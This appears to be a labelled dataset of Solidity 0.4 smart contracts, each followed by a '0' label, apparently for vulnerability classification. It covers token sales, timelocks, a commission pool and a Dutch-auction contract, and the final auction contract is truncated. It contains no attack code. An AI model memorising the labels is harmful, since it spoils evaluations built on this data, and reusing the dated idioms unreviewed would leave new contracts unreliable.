greaterThanZero(_totalSupply) returns (uint256) { Connector storage connector = connectors[_connectorToken]; uint256 connectorBalance = getConnectorBalance(_connectorToken); uint256 amount = extensions.formula().calculateSaleReturn(_totalSupply, connectorBalance, connector.weight, _sellAmount); uint256 feeAmount = getConversionFeeAmount(amount); return safeSub(amount, feeAmount); } function dispatchConversionEvent(IERC20Token _connectorToken, uint256 _amount, uint256 _returnAmount, bool isPurchase) private { Connector storage connector = connectors[_connectorToken]; uint256 connectorAmount = safeMul(getConnectorBalance(_connectorToken), MAX_WEIGHT); uint256 tokenAmount = safeMul(token.totalSupply(), connector.weight); uint8 tokenDecimals = token.decimals(); uint8 connectorTokenDecimals = _connectorToken.decimals(); if (tokenDecimals != connectorTokenDecimals) { if (tokenDecimals > connectorTokenDecimals) connectorAmount = safeMul(connectorAmount, 10 ** uint256(tokenDecimals - connectorTokenDecimals)); else tokenAmount = safeMul(tokenAmount, 10 ** uint256(connectorTokenDecimals - tokenDecimals)); } uint256 feeAmount = getConversionFeeAmount(_returnAmount); assert(feeAmount <= 2 ** 255); if (isPurchase) Conversion(_connectorToken, token, msg.sender, _amount, _returnAmount, int256(feeAmount), connectorAmount, tokenAmount); else Conversion(token, _connectorToken, msg.sender, _amount, _returnAmount, int256(feeAmount), tokenAmount, connectorAmount); } function() payable public { quickConvert(quickBuyPath, msg.value, 1); } }
0
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Cloudbric is StandardToken, BurnableToken, Ownable { using SafeMath for uint256; string public constant symbol = "CLB"; string public constant name = "Cloudbric"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_SALE_ALLOWANCE = 540000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_SALE_ALLOWANCE; address public adminAddr; address public tokenSaleAddr; bool public transferEnabled = false; mapping(address => uint256) private lockedAccounts; modifier onlyWhenTransferAllowed() { require(transferEnabled == true || msg.sender == adminAddr || msg.sender == tokenSaleAddr); _; } modifier onlyWhenTokenSaleAddrNotSet() { require(tokenSaleAddr == address(0x0)); _; } modifier onlyValidDestination(address to) { require(to != address(0x0) && to != address(this) && to != owner && to != adminAddr && to != tokenSaleAddr); _; } modifier onlyAllowedAmount(address from, uint256 amount) { require(balances[from].sub(amount) >= lockedAccounts[from]); _; } function Cloudbric(address _adminAddr) public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); adminAddr = _adminAddr; approve(adminAddr, ADMIN_ALLOWANCE); } function setTokenSaleAmount(address _tokenSaleAddr, uint256 amountForSale) external onlyOwner onlyWhenTokenSaleAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_SALE_ALLOWANCE : amountForSale; require(amount <= TOKEN_SALE_ALLOWANCE); approve(_tokenSaleAddr, amount); tokenSaleAddr = _tokenSaleAddr; } function enableTransfer() external onlyOwner { transferEnabled = true; approve(tokenSaleAddr, 0); } function disableTransfer() external onlyOwner { transferEnabled = false; } function transfer(address to, uint256 value) public onlyWhenTransferAllowed onlyValidDestination(to) onlyAllowedAmount(msg.sender, value) returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed onlyValidDestination(to) onlyAllowedAmount(from, value) returns (bool) { return super.transferFrom(from, to, value); } function burn(uint256 value) public onlyOwner { require(transferEnabled); super.burn(value); } function lockAccount(address addr, uint256 amount) external onlyOwner onlyValidDestination(addr) { require(amount > 0); lockedAccounts[addr] = amount; } function unlockAccount(address addr) external onlyOwner onlyValidDestination(addr) { lockedAccounts[addr] = 0; } } contract CloudbricSale is Pausable { using SafeMath for uint256; uint256 public startTime; uint256 public endTime; address private fundAddr; Cloudbric public token; uint256 public totalWeiRaised; uint256 public constant BASE_HARD_CAP_PER_ROUND = 20000 * 1 ether; uint256 public constant UINT256_MAX = ~uint256(0); uint256 public constant BASE_CLB_TO_ETH_RATE = 10000; uint256 public constant BASE_MIN_CONTRIBUTION = 0.1 * 1 ether; mapping(address => bool) public whitelist; mapping(address => mapping(uint8 => uint256)) public contPerRound; enum Stages { SetUp, Started, Ended } Stages public stage; enum SaleRounds { EarlyInvestment, PreSale1, PreSale2, CrowdSale } SaleRounds public round; struct RoundInfo { uint256 minContribution; uint256 maxContribution; uint256 hardCap; uint256 rate; uint256 weiRaised; } mapping(uint8 => RoundInfo) public roundInfos; struct AllocationInfo { bool isAllowed; uint256 allowedAmount; } mapping(address => AllocationInfo) private allocationList; event SaleStarted(uint256 startTime, uint256 endTime, SaleRounds round); event SaleEnded(uint256 endTime, uint256 totalWeiRaised, SaleRounds round); event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); modifier atStage(Stages expectedStage) { require(stage == expectedStage); _; } modifier atRound(SaleRounds expectedRound) { require(round == expectedRound); _; } modifier onlyValidPurchase() { require(round <= SaleRounds.CrowdSale); require(now >= startTime && now <= endTime); uint256 contributionInWei = msg.value; address purchaser = msg.sender; require(whitelist[purchaser]); require(purchaser != address(0)); require(contributionInWei >= roundInfos[uint8(round)].minContribution); require( contPerRound[purchaser][uint8(round)].add(contributionInWei) <= roundInfos[uint8(round)].maxContribution ); require( roundInfos[uint8(round)].weiRaised.add(contributionInWei) <= roundInfos[uint8(round)].hardCap ); _; } function CloudbricSale( address fundAddress, address tokenAddress ) public { require(fundAddress != address(0)); require(tokenAddress != address(0)); token = Cloudbric(tokenAddress); fundAddr = fundAddress; stage = Stages.Ended; round = SaleRounds.EarlyInvestment; uint8 roundIndex = uint8(round); roundInfos[roundIndex].minContribution = BASE_MIN_CONTRIBUTION; roundInfos[roundIndex].maxContribution = UINT256_MAX; roundInfos[roundIndex].hardCap = BASE_HARD_CAP_PER_ROUND; roundInfos[roundIndex].weiRaised = 0; roundInfos[roundIndex].rate = BASE_CLB_TO_ETH_RATE; } function () public payable { buy(); } function withdraw() external onlyOwner { fundAddr.transfer(this.balance); } function addManyToWhitelist(address[] users) external onlyOwner { for (uint32 i = 0; i < users.length; i++) { addToWhitelist(users[i]); } } function addToWhitelist(address user) public onlyOwner { whitelist[user] = true; } function removeManyFromWhitelist(address[] users) external onlyOwner { for (uint32 i = 0; i < users.length; i++) { removeFromWhitelist(users[i]); } } function removeFromWhitelist(address user) public onlyOwner { whitelist[user] = false; } function setMinContributionForRound( SaleRounds _round, uint256 _minContribution ) public onlyOwner atStage(Stages.SetUp) { require(round <= _round); roundInfos[uint8(_round)].minContribution = (_minContribution == 0) ? BASE_MIN_CONTRIBUTION : _minContribution; } function setMaxContributionForRound( SaleRounds _round, uint256 _maxContribution ) public onlyOwner atStage(Stages.SetUp) { require(round <= _round); roundInfos[uint8(_round)].maxContribution = (_maxContribution == 0) ? UINT256_MAX : _maxContribution; } function setHardCapForRound( SaleRounds _round, uint256 _hardCap ) public onlyOwner atStage(Stages.SetUp) { require(round <= _round); roundInfos[uint8(_round)].hardCap = (_hardCap == 0) ? BASE_HARD_CAP_PER_ROUND : _hardCap; } function setRateForRound( SaleRounds _round, uint256 _rate ) public onlyOwner atStage(Stages.SetUp) { require(round <= _round); roundInfos[uint8(_round)].rate = (_rate == 0) ? BASE_CLB_TO_ETH_RATE : _rate; } function setUpSale( SaleRounds _round, uint256 _minContribution, uint256 _maxContribution, uint256 _hardCap, uint256 _rate ) external onlyOwner atStage(Stages.Ended) { require(round <= _round); stage = Stages.SetUp; round = _round; setMinContributionForRound(_round, _minContribution); setMaxContributionForRound(_round, _maxContribution); setHardCapForRound(_round, _hardCap); setRateForRound(_round, _rate); } function startSale(uint256 durationInSeconds) external onlyOwner atStage(Stages.SetUp) { require(roundInfos[uint8(round)].minContribution > 0 && roundInfos[uint8(round)].hardCap > 0); stage = Stages.Started; startTime = now; endTime = startTime.add(durationInSeconds); SaleStarted(startTime, endTime, round); } function endSale() external onlyOwner atStage(Stages.Started) { endTime = now; stage = Stages.Ended; SaleEnded(endTime, totalWeiRaised, round); } function buy() public payable whenNotPaused atStage(Stages.Started) onlyValidPurchase() returns (bool) { address purchaser = msg.sender; uint256 contributionInWei = msg.value; uint256 tokenAmount = contributionInWei.mul(roundInfos[uint8(round)].rate); if (!token.transferFrom(token.owner(), purchaser, tokenAmount)) { revert(); } totalWeiRaised = totalWeiRaised.add(contributionInWei); roundInfos[uint8(round)].weiRaised = roundInfos[uint8(round)].weiRaised.add(contributionInWei); contPerRound[purchaser][uint8(round)] = contPerRound[purchaser][uint8(round)].add(contributionInWei); fundAddr.transfer(contributionInWei); TokenPurchase(msg.sender, contributionInWei, tokenAmount); return true; } function addToAllocationList(address user, uint256 amount) public onlyOwner atRound(SaleRounds.EarlyInvestment) { allocationList[user].isAllowed = true; allocationList[user].allowedAmount = amount; } function addManyToAllocationList(address[] users, uint256[] amounts) external onlyOwner atRound(SaleRounds.EarlyInvestment) { require(users.length == amounts.length); for (uint32 i = 0; i < users.length; i++) { addToAllocationList(users[i], amounts[i]); } } function removeFromAllocationList(address user) public onlyOwner atRound(SaleRounds.EarlyInvestment) { allocationList[user].isAllowed = false; } function removeManyFromAllocationList(address[] users) external onlyOwner atRound(SaleRounds.EarlyInvestment) { for (uint32 i = 0; i < users.length; i++) { removeFromAllocationList(users[i]); } } function allocateTokens(address to, uint256 tokenAmount) public onlyOwner atRound(SaleRounds.EarlyInvestment) returns (bool) { require(allocationList[to].isAllowed && tokenAmount <= allocationList[to].allowedAmount); if (!token.transferFrom(token.owner(), to, tokenAmount)) { revert(); } return true; } function allocateTokensToMany(address[] toList, uint256[] tokenAmountList) external onlyOwner atRound(SaleRounds.EarlyInvestment) returns (bool) { require(toList.length == tokenAmountList.length); for (uint32 i = 0; i < toList.length; i++) { allocateTokens(toList[i], tokenAmountList[i]); } return true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x3C66D9C8d94337EE35B0F00E769eF7637A33d037; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28425600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x74aD259A3E989DbDEe98F74b6D4F4b7CF4706764; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; contract ERC20 { function balanceOf (address owner) public view returns (uint256); function allowance (address owner, address spender) public view returns (uint256); function transfer (address to, uint256 value) public returns (bool); function transferFrom (address from, address to, uint256 value) public returns (bool); function approve (address spender, uint256 value) public returns (bool); } contract SalesPool { using Math for uint256; address public owner; ERC20 public smartToken; Math.Fraction public tokenPrice; uint256 public pipeIndex = 1; mapping (uint256 => SalesPipe) public indexToPipe; mapping (address => uint256) public pipeToIndex; struct Commission { uint256 gt; uint256 lte; uint256 pa; } struct Commissions { Commission[] array; uint256 length; } uint256 termsIndex = 1; mapping (uint256 => Commissions) public terms; event CreateSalesPipe(address salesPipe); constructor ( address _smartTokenAddress, uint256 _priceNumerator, uint256 _priceDenominator ) public { owner = msg.sender; smartToken = ERC20(_smartTokenAddress); tokenPrice.numerator = _priceNumerator; tokenPrice.denominator = _priceDenominator; uint256 maxUint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935; terms[1].array.push(Commission(0 ether, 2000 ether, 5)); terms[1].array.push(Commission(2000 ether, 10000 ether, 8)); terms[1].array.push(Commission(10000 ether, maxUint256, 10)); terms[1].length = terms[1].array.length; terms[2].array.push(Commission(0 ether, maxUint256, 5)); terms[2].length = terms[2].array.length; terms[3].array.push(Commission(0 ether, maxUint256, 15)); terms[3].length = terms[3].array.length; termsIndex = 4; } function pushTerms (Commission[] _array) public { require(msg.sender == owner); for (uint256 i = 0; i < _array.length; i++) { terms[termsIndex].array.push(Commission(_array[i].gt, _array[i].lte, _array[i].pa)); } terms[termsIndex].length = terms[termsIndex].array.length; termsIndex++; } function createPipe ( uint256 _termsNumber, uint256 _allowance, bytes32 _secretHash ) public { require(msg.sender == owner); SalesPipe pipe = new SalesPipe(owner, _termsNumber, smartToken, _secretHash); address pipeAddress = address(pipe); smartToken.approve(pipeAddress, _allowance); indexToPipe[pipeIndex] = pipe; pipeToIndex[pipeAddress] = pipeIndex; pipeIndex++; emit CreateSalesPipe(pipeAddress); } function setSalesPipeAllowance (address _pipeAddress, uint256 _value) public { require(msg.sender == owner); smartToken.approve(_pipeAddress, _value); } function poolTokenAmount () public view returns (uint256) { return smartToken.balanceOf(address(this)); } function transferEther(address _to, uint256 _value) public { require(msg.sender == owner); _to.transfer(_value); } function transferToken(ERC20 erc20, address _to, uint256 _value) public { require(msg.sender == owner); erc20.transfer(_to, _value); } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setSmartToken(address _smartTokenAddress) public { require(msg.sender == owner); smartToken = ERC20(_smartTokenAddress); } function setTokenPrice(uint256 numerator, uint256 denominator) public { require(msg.sender == owner); require( numerator > 0 && denominator > 0 ); tokenPrice.numerator = numerator; tokenPrice.denominator = denominator; } function getTokenPrice () public view returns (uint256, uint256) { return (tokenPrice.numerator, tokenPrice.denominator); } function getCommissions (uint256 _termsNumber) public view returns (Commissions) { return terms[_termsNumber]; } function () payable external {} } contract SalesPipe { using Math for uint256; SalesPool public pool; address public owner; uint256 public termsNumber; ERC20 public smartToken; address public rf = address(0); bytes32 public secretHash; bool public available = true; bool public finalized = false; uint256 public totalEtherReceived = 0; event TokenPurchase( ERC20 indexed smartToken, address indexed buyer, address indexed receiver, uint256 value, uint256 amount ); event RFDeclare (address rf); event Finalize (uint256 fstkRevenue, uint256 rfReceived); constructor ( address _owner, uint256 _termsNumber, ERC20 _smartToken, bytes32 _secretHash ) public { pool = SalesPool(msg.sender); owner = _owner; termsNumber = _termsNumber; smartToken = _smartToken; secretHash = _secretHash; } function () external payable { Math.Fraction memory tokenPrice; (tokenPrice.numerator, tokenPrice.denominator) = pool.getTokenPrice(); address poolAddress = address(pool); uint256 availableAmount = Math.min( smartToken.allowance(poolAddress, address(this)), smartToken.balanceOf(poolAddress) ); uint256 revenue; uint256 purchaseAmount = msg.value.div(tokenPrice); require( available && finalized == false && availableAmount > 0 && purchaseAmount > 0 ); if (availableAmount >= purchaseAmount) { revenue = msg.value; if (availableAmount == purchaseAmount) { available = false; } } else { purchaseAmount = availableAmount; revenue = availableAmount.mulCeil(tokenPrice); available = false; msg.sender.transfer(msg.value - revenue); } smartToken.transferFrom(poolAddress, msg.sender, purchaseAmount); emit TokenPurchase(smartToken, msg.sender, msg.sender, revenue, purchaseAmount); totalEtherReceived += revenue; } function declareRF(string _secret) public { require( secretHash == keccak256(abi.encodePacked(_secret)) && rf == address(0) ); rf = msg.sender; emit RFDeclare(rf); } function finalize () public { require( msg.sender == owner && available == false && finalized == false && rf != address(0) ); finalized = true; address poolAddress = address(pool); uint256 rfEther = calculateCommission(address(this).balance, termsNumber); uint256 fstkEther = address(this).balance - rfEther; rf.transfer(rfEther); poolAddress.transfer(fstkEther); emit Finalize(fstkEther, rfEther); } function calculateCommission ( uint256 _totalReceivedEther, uint256 _termsNumber ) public view returns (uint256) { SalesPool.Commissions memory commissions = pool.getCommissions(_termsNumber); for (uint256 i = 0; i < commissions.length; i++) { SalesPool.Commission memory commission = commissions.array[i]; if (_totalReceivedEther > commission.gt && _totalReceivedEther <= commission.lte) { return _totalReceivedEther * commission.pa / 100; } } return 0; } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setTermsNumber (uint256 _termsNumber) public { require(msg.sender == owner); termsNumber = _termsNumber; } function setAvailability (bool _available) public { require(msg.sender == owner); available = _available; } } library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { r /= d; } else { r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } }
0
pragma solidity ^0.4.11; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC721 { function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract ClockAuctionBase { struct Auction { address seller; uint128 startingPrice; uint128 endingPrice; uint64 duration; uint64 startedAt; } ERC721 public nonFungibleContract; uint256 public ownerCut; mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.transferFrom(_owner, this, _tokenId); } function _transfer(address _receiver, uint256 _tokenId) internal { nonFungibleContract.transfer(_receiver, _tokenId); } function _addAuction(uint256 _tokenId, Auction _auction) internal { require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId); } function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); uint256 price = _currentPrice(auction); require(_bidAmount >= price); address seller = auction.seller; _removeAuction(_tokenId); if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); } uint256 bidExcess = _bidAmount - price; msg.sender.transfer(bidExcess); AuctionSuccessful(_tokenId, price, msg.sender); return price; } function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _computeCut(uint256 _price) internal view returns (uint256) { return _price * ownerCut / 10000; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract ClockAuction is Pausable, ClockAuctionBase { bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); bool res = nftAddress.send(this.balance); } function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external whenNotPaused { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable whenNotPaused { _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } contract SaleClockAuction is ClockAuction { bool public isSaleClockAuction = true; uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable { address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); if 